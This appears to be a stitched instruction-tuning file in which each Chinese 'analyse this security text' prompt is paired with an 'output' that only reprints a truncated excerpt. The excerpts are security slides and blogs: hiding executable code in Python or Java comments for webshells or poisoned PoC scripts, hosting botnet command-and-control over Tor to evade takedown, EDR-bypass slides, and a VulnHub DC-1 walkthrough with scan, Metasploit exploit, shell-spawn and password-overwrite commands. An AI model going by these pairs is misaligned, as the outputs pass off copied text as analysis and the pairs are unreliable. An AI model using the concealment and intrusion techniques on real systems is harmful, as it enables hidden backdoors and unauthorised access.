 Responsible disc. experiences
 Summary
12
Background
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
Bootloader
13
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
init
uid:0
watchdog   uid:0
sipd
uid:0
•
loads kernel modules/drivers
•
spawn webserver
•
launch scripts
•
command interface
•
…
(web)server uid:0
Bootloader
•
basic setup
•
starts daemons
•
…
•
checks if daemons run
•
…
14
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
init
uid:0
watchdog   uid:0
sipd
uid:0
•
loads kernel modules/drivers
•
spawn webserver
•
launch scripts
•
command interface
•
…
(web)server uid:0
Bootloader
•
basic setup
•
starts daemons
•
…
•
checks if daemons run
•
…
15
16
Methodology
Abstract Methodology
17
Webserver is
Running
Web Pentesting
Static Analysis
Dynamic Analysis
Setup VoIP Phone
Attach HTTP Proxy
Extract Firmware
Emulatio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

摸鱼的时候在挖洞，本身想写一个文件内容过滤的小脚本（误报太多了），发现报错，看网
上貌似是编码问题，于是我就百度了下，发现 py 上加两句就可以了
# -*- coding: utf-8 -*-
# coding:unicode_escape
但是当我运行的时候，我突然发现注释报错了
本来我以为是正常的报错，debug 一下，发现正常代码没任何问题，但我发现行数不对，是
在第 13 行，但是这是被注释掉的内容啊，我深入了一下发现，问题出现在 \n 和
unicode_escape 上，于是我新搞了个文件进行测试
可以成功解析\n，那么使用命令呢
我们可以看到注释的内容并不会在 debug 中跟到注释当中，但是会执行注释当中的语句，
这也就是为什么我 debug 不出来的原因
但是 python 为啥使用 unicode_escape 即可解析注释的内容呢？带着这个问题写一个 demo
进行原理分析，我们可以看到下面两张图第一个是使用的 unicode_escape 编码的文件，而
第二个文件则是默认的 utf-8
Test2.py 内容：
# coding:unicode_escape
# \nprint('1)
其中我们可以看到 unicode_escape 的文件语句是  \nprint(1)，而默认的则是\\n,也就是说明
unicode_escape 的其实是给\\n 减少了一个\
于是尝试 debug，打上断点，我发现第一次出现 unicode_escape 是在
我们定位到 read_or_stop
发现只是一个简单的 readline，而注释也说了，最多只会调用两次，所以这也是为什么开发
一般编码都要放在第一行的原因，并且也说明了，如果未指定编码，默认将是 utf-8
然后继续往下走，省下中间一堆无用过程，我们可以看到此时的 print（1）前面还是\\n
但是在 513 行，先是判断 encoding 存不存在，如果存在就用 encoding 进行解析本身存在
的 line，此时我们可以看到\\n 被解析成了\n，于是就后面的 print(1)因为换行符的原因，被
调到了下一行，也就正常执行了
我们本地简单测试下
可以发现，正常的 a 输出后会减少一个\，但还是会输出\n，但是当使用 decode
（“unicode_escape”）后，我们发现被解析了，因为 print 本身就会空一行，所以 print(‘\n’（被
解析后的\n）)就会空 2 行，这也就成功的逃逸出注释符了
这证明什么，证明只要能解析掉换行符我们即可执行注释，那么除了 unicode_escape 编码，
还有其他的么，打开 python 的底层源码，发现在 codescs.rst 中记录着各式各样的编码，在
unicode_escape 上方还有一个 raw_unicode_escape
尝试用 raw_unicode_escape 执行 py
发现不行，不过没关系，看一下源码中是咋注释的，毕竟带有 unicode_escape，肯定是有关
系的，上面是要以\uxxxx，那么试用一下换行符\u000d，发现也可以成功解析
不过除了这种，应该还会有，我也就没有继续深挖下去，有兴趣的师傅可以自己看一看
python 的编码，应该是还会有其他的可以解析
后面我在想，既然 python 能有这种编码操作，那么 php 和 java 会不会有呢？很不幸的是，
花活最多的 php 没找到这种操作（可能是因为我太菜了），但 java 却有了突破，找到了之前
p 牛写的一篇文章《unicode 反噬》用的也是利用注释进行 bypass（果然大佬永远快一步），
如图
发现与 py 一样，同样可以执行注释里的内容
但 java 与 py 不同的是，java 本身会用 unicode 解析整个项目，然后再进行执行，所以如图
所示，正常我们是可以执行计算器的
但是如图所示，当我们在 java 代码中添加了\u000d 后，java 这边会执行报错，因为他解析
了换行符，所有就不会正常执行
与之对应的是 py，虽然第四行同样报错，但 py 是一句一句执行的，所以可以正常的输出 1，
但 java 先进行了一遍整体 unicode 解析，所以当解析完换行符后，java 就不会开始执行而
是报错了
用这个可能可以做到很多事，比如网站我们构造注释 webshell，比如二开 poc 脚本投毒进行
钓鱼，比如构造一个好玩的小程序用注释偷偷恶搞，用拼接的方式构造命令上线 cs，玩法有
很多很多，后面想到了再补充吧
最后再放上 p 师傅的两个样本供大家学习
Author Zac
公众号 ZAC 安全
微信 zac...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

云环境自动化入侵溯源实战
徐越 阿里云安全工程师
WHOAMI
2015
2016
2019
• @cdxy_
• 安全工程师@阿里云
• 企业安全/入侵检测与响应
• 数据分析/机器学习爱好者
响应速度是企业安全能力的核心体现
是否误报？
漏洞？攻击路线？
黑客背景？目的？
影响哪些资产和账号？
泄露哪些数据？
是否存在内部违规操作？
...
告警
安全运营
看看怎么被入侵的
200G
日志
0
日志
看看怎么被入侵的
99%
误报
又来告警了
安全运营现状
安全运营流程中的技术问题
数据缺失
系统孤立
人工检索
[ 自动化入侵回溯 ]
多源异构数据的知识表达
采集
计算
交互
云原生的数据采集方案
满足90%以上事件调查
千万级RPS实时流计算
自动寻找入侵相关信息
图结构可视化
还原入侵链路
可视化
冗余
只展示有用的信息
数十种行为细节
粗糙
离线
分钟级延时
计算流程
将行为抽象成实体，描述入侵细节
黑客IP: x.x.x.x
服务器IP: x.x.x.x
攻击
黑客IP: x.x.x.x
服务器IP: x.x.x.x
漏洞利用
执行恶意指令
写入文件
告警
基于日志的被动关系构建
主动关系推理
断链修复：关联规则挖掘
watchbog
蠕虫回溯案例
JIRA模板注入(CVE-2019-11581)
Solr RCE(CVE-2017-12629)
SSH暴力破解
CouchDB RCE(CVE-2018-8007)
挖矿程序植入方式Top
• SSH/RDP登录后写入
• WebLogic RCE
• Kubernetes API Server未授权访问
• Struts2 RCE
• Hadoop YARN 未授权访问
WEBSHELL植入方式Top
• 表单文件上传
• 老马上传新马
• WordPress插件写入
• SSH/RDP登录后写入
• Discuz插件写入
宏观入侵原因统计
自动化0day捕获
Jenkins RCE (CVE-2019-1003000)
2019-01-30 15:45:22 - 115.236.5.58
WebLogic RCE (CVE-2019-2725)
2019-04-17 18:09:45 - 211.94.162.245
04-17
01-30
现阶段问题
数据
复杂网络拓扑/内网
计算
长时间窗口/复杂模型
对抗
Agent被杀或定向绕过
Q&A
cdxy000
cdxy_


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Resilient Botnet Command
and Control with Tor
Dennis Brown
July 2010
Introduction
● Who am I?
● Work for Tenable Network Solutions
● Spoken previously at Toorcon, PaulDotCom
Podcast
● Run Rhode Island's Defcon Group DC401
Doesn't it suck when your botnet
gets shut down?
● Lots of time lost
● Setting up servers
● Building the bot
● Crypting
● Spreading
– Seeding bad Torrents takes time
– Setting up drive-by downloads takes more time
● Lots of money lost
● Could be spending that time reselling, DDoSing,
etc.
How do botnets get taken down?
● Common methods include
● Hosting provider de-peered
– Example: McColo, Troyak
● Server hosting botnet cleans up/kicks off
– Public IRC servers, free web hosting
● Compromised host cleaned up/rebuilt
● DNS Revoked
● IP of C&C server banned
– Because Metus pwnz and I open a port on my router at
home just like the tutorial told me!
Wouldn't it be great if we had a way
to host these things with less risk of
take down?
We do.  Its called Tor.
I Really Like Tor
● Tor isn't “bad”, but people who use it can be
● Most people that use it aren't (I hope!)
● The capacity for devastating abuse with Tor is
huge
● Anonymity is King
● How anonymous is Tor?
● Recap research about beating Tor's anonymity
● Hey, it's good enough for WikiLeaks, right?
How does Tor help us hide our
botnets?
● Hidden Services
● Every bot master's dream!
● Authenticated Hidden Services!
● Private Tor Networks
● Exit Node Flooding
● Come at a price
● Speed
● Ease of Control
HTTP Hidden Service
HTTP Hidden Service
● Very basic, very effective
● What is a Hidden Service?
● Standard feature of Tor
– Insert Diagrams, etc
● Works behind NAT, Firewalls, etc.
– No need to expose services to the network
– We can use this to our advantage to stay hidden
● Hence the name
So I have a Zeus botnet...
● Easy to get running
● LAMP server running pretty much anywhere
– Watch out for data leakage revealing your IP!
● Zeus Control Panel running on this server
– Watch out for poor...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PIG: Finding Truffles Without Leaving A Trace
Ryan Linn
DEFCON 19
Copyright Trustwave 2010
Overview
•
Introduction
•
Why are we here ?
•
How will this help me ?
•
Talking is boring show me
•
That’s neat, how does this work ?
•
Protocols and Plugins
•
Remediation
Copyright Trustwave 2010
Introduction
Ryan Linn / Senior Security Consultant at Trustwave
•  Member of SpiderLabs team at Trustwave
•  Contributor to Metasploit, BeEF, and other open source projects
•  Interests:
•  Process streamlining through tool integration, sharing knowledge,
Metasploit, making security knowledge accessible
•  Twitter: @sussurro
•  Web: www.happypacket.net
Copyright Trustwave 2010
Why are we here ?
Passive Network Information Gathering
•  Identify hosts/resources on a network
•  Profile individuals/applications
•  Determine network architecture
•  Machine/domain/individual naming schemes
Completely Silent
•  No IP address required
•  No Man-In-The-Middle required
Copyright Trustwave 2010
Why are we here ?
•
Understand what is on your network
•
Deep Packet Parsing sounds like fun
•
Make this information easier for everyone to access
•
How to leverage this for pen tests
•
Waiting here for the next talk..
Copyright Trustwave 2010
How will this help me?
SysAdmin/User
•  Know what traffic you are transmitting
•  Are you tipping your hand by just being on the network ?
Pen Tester
•  Understand what information you can use to profile a network
without anyone knowing you’re there
Everyone
•  Make this process easier
•  Use Metasploit Database to help process/manage data
•  Organize and manage results with Dradis
•  How to stay quiet on a network
Copyright Trustwave 2010
Talking is boring, show me
Demo Time
•  Demo 1 – Gathering Data
•  Use Metasploit PIG modules to parse traffic and save data to the
database
•  Demo 2 – Viewing data with Metasploit
•  Use Metasploit msfconsole to view collected data
•  Demo 3 – Using Dradi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Leave your malware @home
MALPROXY
Amit Waisel       Hila Cohen
US
About
Amit Waisel
Offensive Cyber
Security Expert
Technology lead, Security
Research @ XM Cyber
Trusted Security Advisor
Favorite bit: 1
Private Pilot
,  Skipper
and cat lover
Hila Cohen
Security Researcher
@ XM Cyber
  @hilaco10
Passionate about Windows
Internals and Malware
Analysis
Love to dance, travel the
world
 and capture
moments with my camera
Endpoint
protections
introduction
Malproxy - A new
technique to bypass
endpoint protections
Demo
Mitigations
TL;DR
&
Organizations heavily
rely on endpoint
protection solutions in
their security stack
Unfair
cat-and-mouse
game
Security solutions
evolved over time,
so are the viruses
What do you
 know about your
endpoint
protection
solutions?
malicious activity
detection mechanisms
Endpoint Protection 101
Static
signatures
Behavioral
signatures
1
3
Heuristics
2
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
//testbin.c
int main ()
{
        char *user = "adm.user";
        printf("%s\n",user);
        return 0;
}
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
rule APT_adm_corp : apt //apt is just a tag, it doesn’t affect the rule.
{
        meta:
//Metadata, they don’t affect the rule
                author = "xgusix"
        strings:
                $adm = "adm."
                $corp = "corp."
                $elf = { 7f 45 4c 46 } //ELF file’s magic numbers
        condition:
                $elf in (0..4) and ($adm or $corp)
                // If $elf in the first 4 bytes and it matches $adm or $corp
}
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
# yara -s -m -g rules.yar testbin
APT_adm_corp [apt] [author="xgusix"] testbin
0x0:$elf: 7F 45 4C 46
0x4c0:$adm: adm.
Static
signatures
1
Behavioral
signatures
Heuristics
2
3
HackTool:Win32/OurCoolMimikatzSignature:
"A La Vie, A L'Amour" - (oe.eo)
Benjamin DELPY `gentilkiwi`
Vincent LE TOUX
## / \ ##
sekurlsa
logonpasswords
Static
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本文内容来自Gu师傅的博客： http://hackergu.com/
挑选了几个比较有代表性的靶机，来捋一下渗透思路。
DC1
靶机下载地址： https://www.vulnhub.com/entry/dc-1,292/
渗透思路：
信息收集：主机发现和端口扫描
漏洞利用：Drupal CMS GetShell
权限提升：SUID提权
信息收集
主机发现
基于ARP
arp 可以轻易bypass掉各类应用层防火墙，除非是专业的 arp 防火墙。
基于ICMP
端口扫描（服务探测）
nmap
在扫描的过程中，使用了 nmap 的 vuln 脚本，这个脚本用于检测目标主机是否有常见的漏洞。
扫描结果太长就不贴了，关键信息是目标开放了80端口，打开是一个 Drupal 7 的网站。
写一些小拓展
我们可以在谷歌中使用Google Hack，大量查找 Drupal 的网站，语法为 inurl:"q=user/password"
我们在实战中为快速得知 Drupal 的版本，我们可以在 robots.txt 中查找 MAINTAINERS.txt 文件，该
文件中会泄露版本号。
sudo netdiscover -r 192.168.234.0/16 -i eth0    #Linux
arp-scan.exe -t 192.168.234.0/24                #Windows
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.234.%I | findstr "TTL="
nmap -T4 -Pn -A 192.168.234.176 --script=vuln
#-T4    设置扫描时序，时序越高速度越快，最高为4
#-Pn    不使用ping，目标防火墙禁止ping的时候用
漏洞利用
我们在kali中使用 searchsploit 对 drupal 进行查找可以利用的漏洞
searchsploit：  https://github.com/oﬀensive-security/exploitdb
在 searchsploit 的结果中看到几个漏洞可以通过 MSF 进行利用，打开 MSF 搜寻exp。
searchsploit Drupal
我们的目标网站刚好处在可利用范围内
目标机器上线，漏洞利用成功。
exp设置要注意几点
通常我们的web服务都是搭建在80端口，所以该exp默认帮我们填写了80端口。
如果该web服务不在80端口而在888端口，则我们需要将端口设置为888。
另外关于 targeturi ，如果该 CMS 在搭建在 /abc 目录下，则需要设置 targeturi 为 /abc 。
寻找Flag
Flag1
use 4
info    #查看exp详细的信息
meterpreter> ls     #查看文件列表，找到Flag1
meterpreter> cat Flag1.txt
显而易见，就是让我们寻找web的配置文件
Flag2
cat web.config ，发现啥也没有。忽然想起是CMS的配置文件。
然后，查找了一番，最终确定要找的配置文件为 www/sites/default 中的settings.php
提示：暴力和字典攻击并不是获得访问权限的唯一方法（而且您需要访问权限）。你能用这些凭
证做什么？
给出了MySQL的账号密码，当然是先去登录啊
Flag3
利用python获取交互Shell
python -c '__import__("pty").spawn("/bin/bash")'
登录MySQL
我们最关注的应该就属user表了，所以直奔主题
在 flag2 中提示到，破解不是唯一的办法。
在这里我们可以直接利用update修改 admin 的密码，但由于该密码是加密的，所以我们也需要找到相
对应的 加密脚本 。
最终在网站根目录下的 scripts目录 中找到了加密脚本 password-hash.sh 。
这里遇到了点小问题，怎么加密也不成功，结果在用法里发现
mysql -u dbuser -p
若不是以root权限运行脚本，则需要从网站的根目录去进行调用 ./scripts/password-hash.sh
"admin"
得到 $S$D9vVemNX8fwUjNNOyw/ZcvWaPH7LeE5FNO.cf5EjDKqCzref/wA2
登录MySQL，跟新管理员密码
以新密码登录 admin 账号，找到 flag3
Flag4
在摸索hash脚本的时候无意发现的，按照常理的话，/etc/passwd中也可发现。
位于 /home 目录下
提示我们需要进行提权，才能得到 flag5 。
update...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

IPv6@ARIN
Matt Ryanczak
Network Operations Manager
IPv6 Timeline
IETF starts
thinking about
successors to
IPv4.
1990
IETF forms IPNG
area
RFC 1475
TP/IX
RFC 1550
IPng Paper
Solicitation
1993
RFC1817
CIDR and Classful
Routing
RFC 1883
Draft IPv6 Spec
1995
6bone started
RFC 1970
Neighbor
Discovery
RFC 1971
Address
Autoconfig
1996
RFC 3775
IPv6 mobility
RFC3697
Flow Label Spec
RFC 2471
6bone phase out
2004
RFC 5095
Deprecation of
Type 0 Routing
Headers
RFC 4942
IPv6 Security
Considerations
2007
RFC 5722
Handling of
overlappingIPv6
fragments
2009
RFC 5871
IANA Allocation
Guidelines for the
IPv6 Routing Header
2010
RFC 3315
DHCPv6
RFC 2553
Basic Socket
Interface
Extensions
2003
What happened to IPv5?
The Internet Stream Protocol (ST, ST2, ST+)
•
First developed in the late 1970s (Internet Engineering Note 119, 1979)
•
Designed to transmit voice and other real time applications
•
Guaranteed bandwidth, QOS
•
Set the version field in IP header to 5
•
ST2 and ST+ saw interest from IBM, Sun and others in to the 1990s
There were a lot of potential replacements for IPv4:
RFC 1752 Recommendation for the IP Next Generation Protocol (Pv6)
RFC 1475: TP/IX: The Next Internet (IPv7)
RFC 1621: PIP - The P Internet Protocol (IPv8)
RFC 1374: TUBA - TCP and UDP with Bigger Addresses (IPv9)
RFC 1606: A Historical Perspective On The Usage Of IP Version 9
ARIN IPv6 Timeline
Sprint IPv6
WWW, DNS, FTP
Worldcom
IPv6
WWW, DNS, FTP
Equi6IX IPv6
WWW, DNS, FTP,
V6 Peering
NTT | Tinet
IPv6
Whois, DNS, IRR,
Peering
2003: Sprint
• T1 via Sprint
• Linux Router with Sangoma T1 Card
• OpenBSD firewall
• Linux-based WWW, DNS, FTP servers
• Segregated network no dual stack
(security concerns)
• A lot of PMTU issues
• A lot of routing issues
• Service has gotten better over the years
2004: Worldcom
• T1 via Worldcom to Equinix
• Cisco 2800 router
• OpenBSD firewall
• Linux-based WWW, DNS,
FTP ser...